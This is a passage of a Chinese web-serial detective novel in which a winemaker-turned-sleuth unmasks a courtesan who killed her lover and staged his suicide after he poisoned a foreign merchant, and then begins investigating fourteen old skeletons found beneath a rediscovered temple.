过了一会儿,苗景岚带着几个县衙的捕快过来。 刑捕头一脸的不乐意,对苗景岚说:“是你说有那杀西域人的凶手消息,要是情况不属实,我可要亲自把你带到县令大人面前,告你一个戏弄官差的罪名。” “大人请放心,这人在西域人去过的青楼里面干活,刚才还差点儿想故技重施,想在酒里面下毒,被我识破。而且那人身上有伤,想来近期与人动过手。” 苗景岚这样一说,几个捕快径直冲出门内。 顿时,火把将整个宅院照得透亮。 刑捕头一脚踹开房门,就见房内点燃着蜡烛,床上却没有人。 而在某个阴暗的角落里,从房梁的一角处垂下一根绳子,绳子下面吊着一个人。 青得发白的脸,突兀而下垂的眼睛,不甘的神色,血腥而肮脏的身体。 苗景岚和贾仁都没有想到,嫌疑犯就这样死了。 一个捕快随口说了一句,“怎么是他?” 刑捕头问:“你认得他?” “此人名叫尹斐,算是小的一个发小,自幼跟我一块习武,后来听说到外县打工。前两年才回来,没想到居然跑到天香楼做了杂役,前几天还跟我说要成亲,娶的是天香楼里面赎身的姑娘。我当他是在吹牛,在天香楼里干活,一月能挣多少银子,还娶得起天香楼里的姑娘?” 刑捕头像是忽然想起什么,赶紧吩咐那名捕快,“你去天香楼里跑一趟,就说他们那里的杂役尹斐死了,叫人过来认尸。记住,就叫跟尹斐平日里关系最好的那位姑娘。” “头儿,我这就去。” 捕快走后,刑捕头又张罗着叫另一名捕快把牟仵作叫来验尸。 贾仁觉得自己挺倒霉,本来只是对一个西域人的死感兴趣,拉着那名姑娘一起来查案子,没想到这一个晚上鸡飞狗跳的,自己累得半死,到头来还守着一个死人过了半夜,真是晦气。 他扭头想要调侃苗景岚几句,却看到苗景岚正站在尸体的下方,仰着头饶有兴趣的研究起尸体来。 贾仁忽然觉得后背有些发凉,他一个大男人半夜面对着一具吊死的尸体还心有余悸,她一个大姑娘居然研究起尸体来,也不知道这个姑娘是借了几个胆子? “瞧出一点什么来没有?”贾仁问道。 “现在还不好说,只是有点儿可疑。”苗景岚看到尸体的那一刻,心中就有一个巨大的怀疑,只是目前还不好说。 没过多久,那个捕快把杨小兰带过来。 当杨小兰见到尸体时,马上拿起帕子伤心的哭起来:“你这缺德鬼,说是要为我赎身,怎如今就这样走了?空留下我一个人,以后可怎么活?” “这是你男人?”刑捕头问。 杨小兰点点头,算是认下了。 “你是青楼的妓子,如何会和一个杂役私定终身?”刑捕头又问。 杨小兰又拿出她那一幅楚楚可怜的作派,“大人有所不知,我和他本都是可怜人,一起邀好将来一块过日子,死后在阴曹地府也好一起做个伴。但没有想到半月前,他染了重疾,说是不久将离开人世,世,总是跟我说想不开。我劝他好几回,也不顶事。没想到……没想到他居然真的走了,这以后我一个人该如何是好……” 贾仁看杨小兰哭得如此伤心,都不知道该如何劝才好。 和众人不同,苗景岚却是一脸的淡然。 “杨姑娘是真的替你的情郎伤心吗?还是特意确定他有没有死?” 第7章 烧刀子(7) 一听这话,杨小兰的脸色一白。 她的嘴唇一哆嗦,质问起苗景岚,“姑娘这是何意?难道是因为我青楼妓子的身份而轻贱于我吗?” “呵呵,杨姑娘想多了。只是想问一下,从这里到青楼也有一柱香的时间,可差大哥半柱香的时间就把杨姑娘带来了,难道是杨姑娘守在半路上伺机而动吗?” 没想到那名捕快说,“我确实是在半路上遇到的杨姑娘。我问她认识尹斐吗?又问她和尹斐相好的女子是谁?没想到她说她就是,我就把她带回来了。” 此话一出,周围的气氛骤然间变得怪异起来。 起初还有些怀疑苗景岚说的话,如今连刑捕头都有些怀疑起来。 “杨姑娘,你说尹斐死于自杀,但是你有没有闻到,他身上有股子很浓重的血腥味,好像几天前恰好和人打斗过。”苗景岚此刻就站在杨小兰的面前,脸上的表情阴冷,一双眼睛咄咄逼人的注视着对方。 不知道是被苗景岚的眼神盯得,还是被苗景岚的话逼问得,杨小兰此刻浑身不自在起来,“你,你问我这些,我怎会知道?” “呵呵,杨姑娘刚刚还不在说尹斐是你的相好,又怎么会不知道他如何受的伤?话说回来,之前在青楼遇见你的时候,你还说你跟那个西域人也不熟,自己只是青楼里最不得宠的妓子,怎么没听到你提起你跟你那情郎的事情?” “你刚才又没有问我。况且,我自己的私事,为什么要告诉你?”别看杨小兰说得理直气壮,话语里面却带着几分慌张。 “杨姑娘不说,我索性做一个大胆的推测。杨姑娘自小流落到青楼,逐渐年老色衰,日子一日不如一日,渐渐和青楼里的杂役尹斐有染。你们商量好,攒一笔银子离开青楼,两个人相伴到老。恰在这时,那个西域人找上你,想要你帮他介绍皮货商人,你见钱眼开,就把注意打到那个西域人的身上。” “起初你们只是皮肉生意、露水夫妻而已,没想到那个西域人却跟你纠缠起来。你贪图那西域人的钱财,却并不想跟着那个人过起四处流浪的生活,便把此事告诉尹斐。你知道尹斐对你有意,他听说此事妒火中烧,暗中盘算着要帮你除掉那个西域人。” “尹斐先是找到那个西域人,却发现自己根本不是对方的对手,身上的伤便是这样来的。之后,他又一不做二不休,索性对那个西域人下毒,然后想带着你远走高飞。可是你却不肯,尹斐虽然对你有意,但是他太穷,你更喜欢青楼里那种酒醉金迷的生活。所以,你干脆把他杀了,然后伪装成自杀。” 苗景岚平静的说出这一切,周遭十分安静,静得连一根针掉在地上都听得见。 众人也是听得认真,就像是漆黑的夜里面,大家听到一个十分诡异又合情合理的故事。 只把杨小兰气得满脸通红,“你,你满口胡言!尹斐他明明是自杀的,凭什么说我杀的?我一个弱质女流,如何能把他吊死在这房里。这位姑娘,我和你无冤无仇,你为何要这样污蔑我?你说的这些,都是你自己编造出来,凭什么空口白牙就污蔑我杀人?” 苗景岚轻笑一起,“杨姑娘,你说错了,你虽是女流之辈,但是一样可以杀人。只需要趁尹斐不注意的情况之下,从后面把绳子套在他的脖子上,然后打一个结,通过梁上的绳子把他吊起来,就可以伪造成自杀的样子。至于,他究竟是自杀还是他杀,等会儿仵作来了之后自有定论。” “不过,你刚才说得也没错,我确实没有证据证明你杀了尹斐。但是,我想如果我刚才的猜测是真的,杨姑娘的房中肯定还藏着那个西域人身上的金银。西域人和我们不同,不喜欢带金元宝或者金饰,而是喜欢随身带着金沙,一来方便携带,二来可以随意融成自己想要的形状。” “另外,如果那个西域人真的是尹斐下毒毒死的,那么在这尹斐的房间里肯定还藏着他没有用完的毒药,我们仔细搜查肯定搜得到的。” “最后,我索性再做个大量的猜测,如果尹蜚真的死于姑娘之手,那么刚才拉动绳子时肯定要花费不小的力气。姑娘从小在青楼里长大,哪里做过这般力气活,此时此刻说不定还有费劲拉动绳子之后留下来的勒痕。” 杨小兰一听这话,居然下意识的把双手放在身后,像是想藏起来。 她这一举动引起刑捕头的怀疑,马上抓住她的手过来一看。 只见杨小兰白白嫩嫩的手掌上确实有两道很深的勒痕,看样子就是刚才留下的。 刑捕头一皱眉,狠狠瞪着对方,然后吩咐其他的捕快,“搜查这里的房间,看看有没有毒药?” 又吩咐另外两名捕快,“你们两个,速速去天香楼查看杨小兰的住处,看看那里有没有可疑的东西。” “是。” 两名捕快飞快的跑向天香楼。 这时,牟仵作从外面走进来,一边走还一边抱怨,“最近这黎县是闹鬼不成?接二连三发生人命案,是嫌我这老头子身子骨太利索,接二连三要死在我们这地界上。” 或许是因为天太黑,牟仵作并没有注意到苗景岚和贾仁在场。 这老头抱怨归抱怨,但该干的活儿一点也没有耽误。 一进到房间,看到吊死在房间里面的尹蜚,立刻让两个捕快把人放下来,然后仔细检查起来。 过了一会儿,牟仵作有了结论,“人确实是吊死的,却不像是自己吊死的。致命勒痕是从后而上,正常自杀吊死的口舌会不由自主的掉下来,可他的舌头却好端端的在嘴里面。” 这话说得和苗景岚一样,可不同的是,苗景岚并没有参与验尸,仅仅只是凭观察尸体就得出与牟仵作一样的结论。 这不由让在场的人心生佩服,特别是贾仁心生佩服,感叹自己真是太有眼光了。 盯上这丫头能破解此案,就真的能够破解此案。 这时,刚才搜查房间的两个捕快向刑捕头报告:“大人,这里发现一些药粉,不知道是不是毒药。” “大人,我们从杨小兰的房间里面发现一包金粉。”刚才去天香楼的两名捕快也跑回来了。 刑捕头拿着这两样东西,眼色阴沉的瞪着杨小兰,“你还有什么好说的?” 第8章 烧刀子(8) 杨小兰见事情败露,也没有什么好隐瞒。 她的眼神由黯淡变得锐利,眼底闪过一抹凌厉的恨意。 “是,人确实是我杀的!” “尹斐。还有那个西域人。” “因为,他们都该死!” 杨小兰整一整自己的衣袖,竟有一种慷慨负死的感觉。 苗景岚看向她,脸色虽然苍白,但是眉眼唇角之间带着一种凄凉的美。 “我出身青楼,注定这辈子只能寄人篱下,一身凄苦。可是我不甘,我容貌出众,琴棋书画也是样样精通,凭什么我只能做一个妓子、一个娼妇?这些年我也为青楼挣了不少银子,到头来却是重病缠身,被人视为弃子,我也要为自己筹谋一番。” “我想找个良人赎身,可是过去那些光顾我的客人嫌弃我年老色衰,又身患恶疾,根本不理会我。这个时候我遇上尹斐,我以为他是一个重情重义的男方,本想跟他一块离开青楼,做一对寻常夫妻,没想到……没想到他也是一个白眼狼,想利用我为他敛财而已。” 杨小兰说到这里,也是一脸的恨意。 “我们本来商量好,攒够我赎身的钱就离开这里。这些年我在青楼也有些积蓄,再加上我又患病,青楼给我定下来的赎身银两也不会太高。偏偏尹斐说,离开青楼后想独自开个小店,他来掌厨,我来坐店,将来也有个营生。我离他筹谋的不错,便相信他的鬼话。” “那个西域客人是从外地来的,起初青楼里的姑娘都嫌弃他是西域人,没有人愿意做他的生意。而我急缺银子,周遭的人又有意向他隐瞒我患病的事情,我便搭上西域人这根线。只是没有想到,那个西域人居然是个有钱的主顾,我从他身上攒够赎身的钱。” “原以为这只是一段露水情缘,没想到那个西域人居然想带我走。我只是想糊弄他几个钱,没想过跟一个西域人到异域过日子,本想出言拒绝。可尹斐心生贪念,叫我先稳住他,等他的钱全部到后,再摆脱掉他。” “可没曾想这西域人如此难缠,要死要活要我跟着他走,尹斐打不过他,干脆一不做二不休,直接把人毒死。他说他有一种祖传毒药,轻易查不出来,喝过酒之后只会说喝酒醉死的。那日我把那西域人叫到青楼喝酒,然后又哄他去其他地方喝酒,到时候就算查也未必查到我们的头上,可没曾想还是被你们发现。” “我害怕被你们发现,想拿着西域人的金子前去赎身,没想到尹斐却心生贪念,不肯拿钱出来。若不是他想独夺这笔钱,我又怎会向他下毒手。你们不知道,把他吊死在房梁上我花了多大的力气。” 杨小兰满是愤怒和抱怨,她觉得一个人的生命远不如他受的委屈更重要。 “你胡说!尹斐怎么会是一个如此贪财之人,他前些天还说想娶你过门,怎么会妨碍你赎身?一定是你这个女人卸磨杀驴,利用完了尹斐,反过头来给他泼脏水?”跟尹斐是发小的那个捕快愤愤不平的说。 苗景岚静静的听完杨小兰说的话,从身后拿出一本帐本,“这个帐本是刚才我在这间房子里面找到的,上面记录着这些年尹斐在青楼里干活攒下的银子。他在青楼一个月才二两银子,可是每个月都花一两多银子买药,甚至还在药铺里赊账。杨姑娘,我问你,这些年是不是都是尹斐替你买药?” 杨小兰的脸瞬间一变,像是被人戳中痛处,突然一声不吭。 “尹斐虽然收入微薄,但对你的事情却很是上心。就如你刚才所说,你年老色衰,在青楼里已经接不到什么客人,而青楼里顶多不饿死你,断不会为你买什么好药治病。这些年都是尹斐替你请大夫看病拿药,你却以为这些是青楼的人花钱治你,所以你才舍不得离开青楼。看样子,你和尹斐之间的误会很大呀。” 杨小兰咬咬唇,脸色惨白。 不知道是因为知道真相之后的悔意,还是对自己命运的恐惧。 她冷笑一声,“是又如何,不是又如何。反正人已经死了,我也不会有什么好结局。” 说完,她居然一头往房梁上撞去。 “不好,她想自杀。”贾仁看出她的动机,大声吼了一声。 刑捕头一个箭步冲上前,立刻把人拦住,断了杨小兰的念想。 “哼,想死?没那么容易。你害得我们折腾了一夜,想就这样轻轻松松的死了,可没那么便宜,得听县令大人如何处置。”刑凌觉得自己是一肚子的晦气。 其他的捕快和牟仵作也是松了一口气,这几天因为这个案子大家都没有休息好,若不是苗景岚提供的消息,只怕大家现在还在加班。 须发花白的牟仵作走到苗景岚跟前,“丫头,你这替死人验尸的手段是哪里来的?” 牟仵作对苗景岚很是好奇,但是苗景岚依旧是一幅云淡风轻的表情。 “老先生缪赞了,我哪里懂什么验尸?只是从小在酒坊长大,喝醉死人的是什么样子,我比谁都清楚,所以断定那西域人肯定不是喝酒死的。至于尹斐的死因,完全是胡乱瞎猜,结果被我蒙对了。” 随便蒙都能蒙对,验了几十年尸的牟仵作也不拆穿苗景岚的小伎俩,只是留下一句话,“丫头,我看你是验尸的好苗子。如果改天你想跟着老夫来学验尸,老夫一定倾囊相授。” “谢先生。”苗景岚客气的回应。 别人不知道,在县衙当差十几年的刑凌可是心里面清楚的。 这个脾气古怪的老仵作可是不轻易收徒的,之前邓三是死皮赖脸天天缠着牟仵作,又请县令的远房舅舅喝酒,县令向牟仵作说了那么一嘴,要不然这老头是绝对不会收邓三为徒的。 这一回真是太阳从西边升起,平常谁也看不上的牟仵作居然主动收徒,可见对苗景岚是如何看重。 “哎哟,我站了这么一宿,真是伤了我的老腰哟。”贾仁晃了晃自己的腰,很不要脸的对苗景岚说,“这位县衙仵作未来的高徒,你能不能替我看一看?” 苗景岚冷冷的扫了他一眼,“哼,绝无可能。你要是躺下来变成一具尸体,倒有一点儿希望。” “切,这话说的。”贾仁好县鼻子没气歪。 这丫头,嘴巴太毒了。 第9章 黄酒(1) 西域人的案子过后,苗景岚倒是轻闲一阵子。 只是酒坊最近的生意倒是越来越好,像是那个案子过后,黎县的百姓都口口相传,说明岚酒坊的丫头会验尸。 乡亲们都觉得好奇,这既会酿酒又会验尸的姑娘到底长什么样。 苗景岚倒是不知道这些,反正她平常都不乐意在前面帮忙,更喜欢没事蹲在酒窑里研究酿酒。 可是这几天她都不开心,她新酿的酒怎么都酿不好,不是料放多了就是料放少了,反正最后出来的成品都让她不满意。 “唉,要是酿酒就像破案那样简单就好了。”苗景岚在心里面嘀咕着。 又浪费了一坛酿酒的材料,索性今天不酿了。 苗景岚离开酒窑,来到酒坊,此时未到正午,酒坊里来买酒和喝酒的客人却不少。 二黑在前面忙来忙去,苗景岚拿出这两天的账本,没事拨弄起算盘算起账来。 “咦,二黑,这两天大哥有没有对帐?” 正忙得跟个陀螺似的二黑想也不想,就怼上一句,“大东家哪天不算账?” “那这两天的银子怎么对不上?对了,大哥,哪去了?” 提到这事,二黑就一肚子的火。 以前店里面是三个人帮忙,可自从苗景岚摔到头之后,就喜欢到酒窑酿酒,不喜欢到酒坊卖酒。 之前还有大东家来这里帮忙,这几天也不知道在大东家撞什么邪,隔三差五就出去,整个酒坊就让他一个小伙计来卖酒。 “哼,大东家是什么人物,整天神龙见首不见尾。一个天天酿酒,一个是神仙,这明岚酒坊可了不得!” 苗景岚没理会二黑发的牢骚,她也觉得大哥这几天不太对劲。 以前只说他为人木讷,不太关心酒坊的生意,可如今账面上老是少银子,难不成大哥拿着酒坊的银子去花天酒地? 这不太可能。 那么,还有另一种可能。 大哥是不是交女朋友了? 苗景岚觉得有这个可能,毕竟以大哥的年龄,早就该成亲了。 只是苗景岚担心大哥遇人不淑,改天跟大哥谈谈? 要不私下调查一下,看看大哥是看中那家的姑娘? 苗景岚正胡思乱想着,一个自己最不想见到的人此刻走进明岚酒坊。 “哟,苗姑娘,这么一大早就算账呀?”贾仁穿着一身的丝绸长衫,手里面扇着一把扇子。 这一身的装扮在京城或许不算什么,但在这穷乡僻壤的黎县,那可是妥妥的纨绔形象。 “贾公子,这又是什么风把你吹来?想好了哪天要死,再请我上门给你看看?” 二黑听见这话,离得远远的。 这两人说话火药味特浓,像是一不小心就要干架。 其实二黑倒觉得贾公子人不错,上赶着上门来送银子,虽说这酒坊的酒味道一般,可人家贾公子银子给的不少。 为什么二东家就是横竖看不上人家? 或许是见识过苗景岚的毒舌,贾仁这一回也不以为然,“苗姑娘,听说郊区新发现一座千年古刹。县令特意让人把这古刹重新装潢过一番,后天将重新迎香客,不知道苗姑娘有没有兴趣跟我一块去看看?” “呵呵,没兴趣。” 贾仁被拒绝,却依旧不退缩,“那可是千年古刹呀,整个黎县就没有一样拿得出手的建筑,好不容易出现一座上千年的古刹,苗姑娘就不好奇看一眼。” “我要是去的话,你给我银子?我这店小,每天还要开店挣钱讨生活,比不上你这富贵闲人,就喜欢到别人的地盘看热闹。”苗景岚头也不抬,继续敲着算盘。 “行啊,不就是银子吗?我有。只要苗姑娘肯去,你们酒坊一天的开销都算我的。”贾仁财大气粗的说。 二黑一听,眼睛一亮,“好呀好呀,贾公子,我能跟着一块去吗?” 苗景岚白了对方一眼,“凑什么热闹?忙你的去,这里有你什么事?” 说话间,贾仁就拿出一大锭银子,“苗姑娘,说好了,明天一块去千年古刹,不见不散哦。” 苗景岚瞅了桌上那锭银子,好家伙,足足有十两。 还真是人傻钱多! 苗景岚不由觉得奇怪,这家伙为什么老是黏着自己? 出手还这样阔绰? 难不成自己穿越者的身份被对方看出来了吗? 苗景岚觉得不太可能,她看不清楚贾仁想图谋什么,目前只能走一步看一步。 第二天,黎县郊外。 正如贾仁所说的那样,黎县这些年里里外外都没有什么像样的景点,难得出了一座历史有上千年的古刹,引得周围的百姓都来围观。 不过,最开心的莫过于侯县令。 他新官上任,一心想在自己的任期内有一番作为,偏偏之前就遇上西域人的命案,还差点儿判错案。 终于把案子结了,又恰巧遇上千年古刹重现人间,他怎么能不好好张罗张罗。 “苗姑娘,你来了?”贾仁一看见苗景岚,就情不自禁的笑起来,一双桃花眼能泛出光来。 “嗯,来了。” 苗景岚应了一声,目光看向不远处的古刹。 这座千年古刹只有四层楼高,整幢建筑都是木质结构,塔顶上有一个七层琉璃宝珠,宝珠上漆着金粉,让整座古刹看上去金碧辉煌。 古刹的方丈是一位五十多岁身材消瘦的和尚,老方丈恭恭敬敬的请侯县令上座,又让庙里面的十几个和尚做了一场法事,然后就要拉开帷幕,请县里面的百姓进到庙里面参观上香。 苗景岚想跟着来上香的人一块进去,就听到最前面的人尖叫了一声。 “哎呀,死人了,死人了!” 然后,惊魂未定的百姓就一个个从庙里面往外面冲出来。 只有苗景岚是个例外。 她听说有人死了,不由眼睛一亮,觉得这里面肯定又有什么蹊跷。 别人往外面跑,她偏偏往里面冲。 忍不住心头的好奇心,苗景岚甚至拉住一个从里面跑出来的和尚,问道:“出什么事了?” 那和尚一脸恐惧,结结巴巴的回答:“刚刚……刚刚进去的人太多,踩翻一块砖……踩……踩塌庙里的地窑,发……发现好多好多的尸体!” 第10章 黄酒(2) 牟仵作最近也不知道走了什么霉运,以往两三年也遇不上一个案子。顶多是路过的乞丐或是淹死的路人,这些尸首验起来简单。 可是这一两个月遇上的尸体和人命案比他几年遇上的都多。 莫不是自己流年不利,就是新来的县令和自己八字不合,要不然一个小小的县城怎么老是遇上一些人命案子。 年过半百、头发花白的牟仵作拎着他的仵作箱子,来到千年古刹的地窑,看到地窑里的十几具陈年枯尸,不由微微皱起眉头。 “师傅,你来了。箱子让我来拿好了!”早就赶过来的邓三很殷勤的想要接过牟仵作手里面的箱子。 可是,牟仵作板着一张脸,朝他冷冰冰的说:“不用,我自己来。” 上一个西域人的案子,邓三代替师傅验尸差一点搞成一个冤家错案,老仵作现在还记忆犹新。 差一点自己的差事连带着大半生的声誉都砸在这小子手里,所以牟仵作看到这个送上门的徒弟很是不痛快。 可是,当他看到地窑不远处站着的苗景岚时,一直绷紧的脸上终于有一丝笑容,“那边的那个谁,你也一块过来吧。” 苗景岚本来不能进去,但出于前世养成的职业敏感,让她守在这里,想打听到最新的情况。 当她听到牟仵作唤自己,便径直走过来。 富贵闲人贾公子和苗景岚站在一处,也厚着脸皮走过来。 “你同我一块来验尸吧。” 邓三看到苗景岚,脸上划过不悦的表情。 地窑里光线阴暗,空气中弥漫着一种腐烂的腥臭味,像是一道道看不见的蜘蛛网,缠在每一个进入者的身上。 贾仁下意识的捂住口鼻,苗景景跟在牟仵作身后,目光游走在地窑里面。 除了露出来的那一具陈年枯尸被香客们踢散了,其他的尸骨都整齐的摆放在地窑里面。 这些尸体有大有小,死者有老有少。 总共有十一具成年尸骨和三具未成年尸骨。 看样子是一家人被人灭门,然后摆放在这无人的古刹地窑内。 牟仵作放下工具箱,低下头就开始工作。 他仔细检查每具尸体的伤口,想从这里面找到凶手的死因。 苗景岚则静静的站在旁边看着,她知道自己没有答应当牟仵作的徒弟,却能被带进来亲眼看着他工作,已经是牟仵作最大的诚意。 一切尽在不言中。 就这样静静的验了一个时辰的尸体,牟仵作总算是有一定的成果。 可是,他并不急着考自己的徒弟,而是转过身来问苗景岚,“说说看,你在我旁边看出了什么端倪?” 苗景岚也不含糊,把自己刚刚观察到的细节总结一下。 “这里共有十四具枯尸,十一具成年尸骨,三具未成年尸骨,摆放整齐,保存完整。可见是有人在杀过人之后,一起把尸体抬到这里的。” “每具尸体都已经白骨化,上面的皮肤、肌肉和内脏器官都随着时间的推移,慢慢腐化殆尽,变成一具具枯骨。从尸体上的迹象看来,这些尸体起码摆放三十年以上,也就是说,死者死亡至少三十年。” “尸体的伤口基本上一致,全部是割断颈脖,一刀致命。除此之外,并没有看到尸体有其他伤口,或者是任何中毒迹象。初步推断凶手是在这些被害者熟睡之后,或者是在给他们喂过蒙汗药之后再一起把他们杀害。” “我推测凶手是熟人,而且不止一个凶手。” 话音刚落,邓三就开始愤愤不平的反驳。 “哼,一派胡言!你不过是在旁边看着,师傅都没有发话呢,你在这里大放厥词!” “什么‘死者死亡至少三十年以上’,你以为你是神断呀,看一眼就知道人家死了多少年?” “还什么凶手不止一个,真是睁着眼说瞎话。” 从刚刚开始,邓三就一直瞧苗景岚不顺眼。 这件事情早就在整个黎县传来了,说牟仵作新收的徒弟验错了尸,倒被明岚酒坊的酿酒师一眼看穿。 今天牟仵作又让苗景岚参与验尸,其中的原由不说也清楚。 千万不能让苗景岚顶了自己好不容易得来的位置,不借这个机会好好修理他,只怕自己这个徒弟都没得当。 苗景岚还没有开口,一旁站着的贾仁按捺不住了,“你师傅都没有开口呢,你在这里嘀咕什么?也不知道上回验错了尸,自己来找晦气的人是谁?” “你!”邓三一听这话,差点儿鼻子没气歪。 苗景岚拿起地窑里的火把,径直走到最外侧一具成年尸体旁,取出尸体上挂着的钱袋,又取下旁边一具尸体脚上的鞋。 那鞋呈暗紫色,虽然随着时间的推移,上面的花纹不再清晰可见,但凭鞋的样式和纹路也可以看出来,这是一只女鞋。 苗景岚举着鞋,就像是老师举起教科书,向众人娓娓道来:“大家请看,这只鞋的鞋底有三层,鞋面用的是蜀锦,这是三十年前富贵人家常用的鞋面样式。我原先也不懂这些,是有一回去鞋铺子里面买鞋,鞋店老板亲自告诉我的。” 接下来,苗景岚又拿出那个死尸的钱袋。 钱袋里面已经没有钱,庆幸的是里面还有一张字迹模糊的纸条。 纸条上面写着:巳癸年某月某日,张某借多少银子予某某,以此为证。 看得出来这是一张借据,虽然已经看不出是谁借谁银子,但是上面的“巳癸年”三个字却清晰可见。 苗景岚把这纸据递给牟仵作,“仵作大人,我刚才的那番话并不是信口开河。当我看到那具尸体上的鞋子时,就对死者的死亡时间有个大概的推测,然后又看到其他死者的衣服样式,也猜到少许。若是不相信的话,你们可以请成衣铺的老板根据这些衣服来推测,这些尸体死了多少年。” 牟仵作看完那张借据之后,点一点头,又把借据递给旁边站着的邓三。 并且教导邓三,“我们做仵作的,不但要学会从尸体上做出验尸推论,也要懂得根据尸体以外的东西做出推论。而且,千万要有容人之心,这世上山外有山,人外有人,不要看到别人强过自己就心生嫉妒,这是成为一名好仵作的大忌。” 邓三知道牟仵作是暗指自己嫉妒苗景岚,心中不快,冷哼一声,扭头便走了。 看热闹不嫌事大的贾仁还补上一刀,“邓大仵作,这就走了?这尸体还没有验完呢。” 第11章 黄酒(3) 牟仵作对苗景岚刚刚的表现十分满意。 “苗姑娘,你刚才得出来的结论跟我验尸的结果很相似。你果真是一个做仵作的好苗子,不做这行太可惜。” 贾仁听出来老家伙又想游说苗景岚去当仵作,马上拦下来,“我说你这人可真烦,人家上回都说了不想做仵作,你偏偏要缠着别人干这行。好好一个姑娘,什么不好干,天天要人家来验尸,你这老头于心何忍?” 牟仵作沉下脸来,“哼,做仵作不是什么好差事,那酿酒又是好差事?” “那好歹是人家的祖传家业,家里面还有一个酒坊。天天闻酒香,总好过天天闻死尸的味道。要你的话,你会先哪一个?” 牟仵作生气了,甩甩袖子,拎起工具箱转身就走。 苗景岚打趣贾仁,“人家牟仵作好心准我们进来看验尸,你却把人气走了,以后恐怕不好打交道。” “以后的事以后再说,我就瞧不得他拉着你去做仵作的派头。” “你这热闹也看够了,还留在这里干什么?” 说完,苗景岚走出地窑,贾仁也紧跟其后。 一路上走,一边就忍不住聊起案情,“你说这邪乎不邪乎,千年古刹的地窑里面挖出三十年前的尸体。什么人这么可恶,杀了人之后把这么多的尸体都藏在没人的庙里面?” 贾仁总觉得世人多少得怀着一点儿敬畏之心,这杀人之后把尸体藏在庙中地窑者,一定是十恶不赦之徒。 上辈子见多不怪的苗景岚倒是一幅不以为然的口气,“敢犯下人命案子的,无非两条:一为钱,二为情。人生种种,皆因各自欲望不同。管不住自己,控制不住欲望,自然会犯下错事。” “你倒是一幅见多识广的样子。” 贾仁对苗景岚更是好奇,这番言论若是出自中年之口倒属正常,偏偏苗景岚才豆蔻年华,说出来的话却老气横秋。 这女子的身上究竟藏着多少秘密? 苗景岚没有接贾仁的话茬,反倒打趣他:“贾公子,你说你是不是扫帚星投胎?自打你来到黎县,人命案子就不断。先是死了一个西域人,后来又拉着我来看什么千年古刹,结果又发现十几具干尸。还真是走到哪里,哪里就有死人呀。” “你可别赖我。那十几具干尸可是三十多年前就死了的,那时我还没有出生呢。” 两个人走到明岚酒坊,苗景岚打了一个哈欠,拦下贾仁:“贾公子,你邀我去千年古刹,我已经去了。你也就此别过吧。” 这就结束了? 贾仁心有不甘。 “那苗姑娘,接下来这案子……” “审案自有衙门的人会处理,咱们这些小老百姓就看看热闹得了,不用掺和其中。” “这可是三十多年前的杀人案,苗姑娘就不好奇,是谁这样凶残?” “不好奇。” 苗姑娘不理会对方,径直走回家。 切,我才不相信你不好奇呢。 第二天,胆大脸皮厚的贾公子又一次来到明岚酒坊。 他兴奋的从怀里掏出一本书,像献宝一样递到苗景岚的面前。 “苗姑娘,你看我找到了什么?” “什么?” “这是我花大价钱从县里面买到的一本三十年前的黎县县志。上面记录过,有一户姓王的人家,一夜之间消失不见,我怀疑这户王家人就是地窑里面的那十四具尸首。” 苗景岚接过那本县志,发现里面的墨迹未干,眉头一皱,“这上面的字全是新的,你确定这是三十年前的县志?” “嘿嘿,正经的县志还在县衙里面放着呢,我这是花钱请人连夜给我手抄一本。” “花了多少钱?” “二十两银子。” 咝——还真是人傻钱多呀。 “贾公子,我跟你说过,这查案子的事情留给县衙的官差好了,咱们这老百姓就好好的看看热闹就行。你说你这细皮嫩肉的,万一碰上穷凶极恶之徒劫个财的,那可如何是好?”苗景岚埋头敲着算盘。 “那可是三十年前的悬案,你就一点儿也不好奇凶手是谁?万一那凶手还在县里面,你就不想把人抓住,万一那人又杀人呢?我可是好不容易搞到的线索,当年在消失的那户王家家里做过下人的总共有三个,他们现在还在黎县生活。你不想跟我去探个究竟?”贾仁看向苗景岚的眼神充满期待。 可是,苗景岚却头也不抬的拒绝对方:“贾公子,请回吧。我今天的帐目还没有算清呢。” 贾仁就是喜欢各种奇奇怪怪的事,他把破解各种奇案当作乐趣,以致一直以来都被人当成怪人。 直到来到这黎县,遇上苗景岚,他才有一种找到同类的感觉。 西域案中,他几次被苗景岚戏弄,但都不以为然。 在贾仁的心目中,苗景岚是有大本事的奇女子,跟他在一起探案哪怕被多戏弄几次,那也是一番乐趣。 贾仁看到苗景岚没有反应,把花大价钱买来的山寨县志往怀里一揣,气乎乎的走了。 过了一个时辰,从明岚酒坊的后门走出一个面容清秀的少年,穿着青色长衫,整起发髻,径直往县里面繁华的大街走去。 乔装改扮过后的苗景岚走得匆忙,没注意到身后跟了一条“尾巴”。 过了一会儿,苗景岚正向人打听吴记铁匠铺怎么走,就听到一个熟悉又有些刺耳的声音在身后响起。 “咳咳,苗姑娘,我记得你跟我说过……这查案子的事情留给县衙的官差好了,咱们这老百姓就看看热闹……你这细皮嫩肉的,万一碰上穷凶极恶之徒劫个色的,那可如何是好?”贾仁一幅拿腔拿调的声音,把之前苗景岚的口气是学了一个十成十。 苗景岚回过头,一看是贾仁,没好气的白了对方一眼。 同时,她又在心中责怪自己。 好久没有正经办案子,连被人跟踪都不知道,真是太大意。 “你一直没走,就为了留在这里守着我?”苗景岚一句话拆穿贾仁的行为。 贾公子脸上划过一丝尴尬:“也不是。我知道苗姑娘对这个案子也是好奇,一定会想一探究竟。一个人查案太危险,不如我跟姑娘一道去,这样相互也有个照顾,岂不是更好?” 苗景岚就知道贾仁是一条甩不掉的癞皮狗,人傻钱多还特别执着。 罢了,既然甩不掉,就带着一块当个探案搭子吧。 “我跟我一块也可以,但咱们要约法三章。你跟着我就要跟我差遣,不能擅自行动,否则以后都不要跟着我。” 贾仁乐开了花,“成。姑娘说什么就是什么。” 贾仁和苗景岚一块往前走,此时此刻,他们并没有察觉到身后还有一个人悄悄的跟在他们的身后…… 第12章 黄酒(4) 贾仁跟在苗景岚的身后。 苗景岚不苟言笑,走路步履生风。 贾仁则是嘻皮笑脸,走路摇摇晃晃。 乍看一眼,以为贾仁是条摇头晃尾的大尾巴狗,乐滋滋的跟在主人后面。 “苗姑娘,若不是我消息灵通,哪里能这么快得来的消息?” “我跟你说,这县志上说这户姓王的人家原本是县里面数一数二的大户人家,可惜在一夜之间全部没了人影。有人说他们是搬家,也有人说他们是摊上官司逃难,反正是众说纷纭。” “这么一大户人家全部失踪,也没有人报案?”苗景岚觉得好奇。 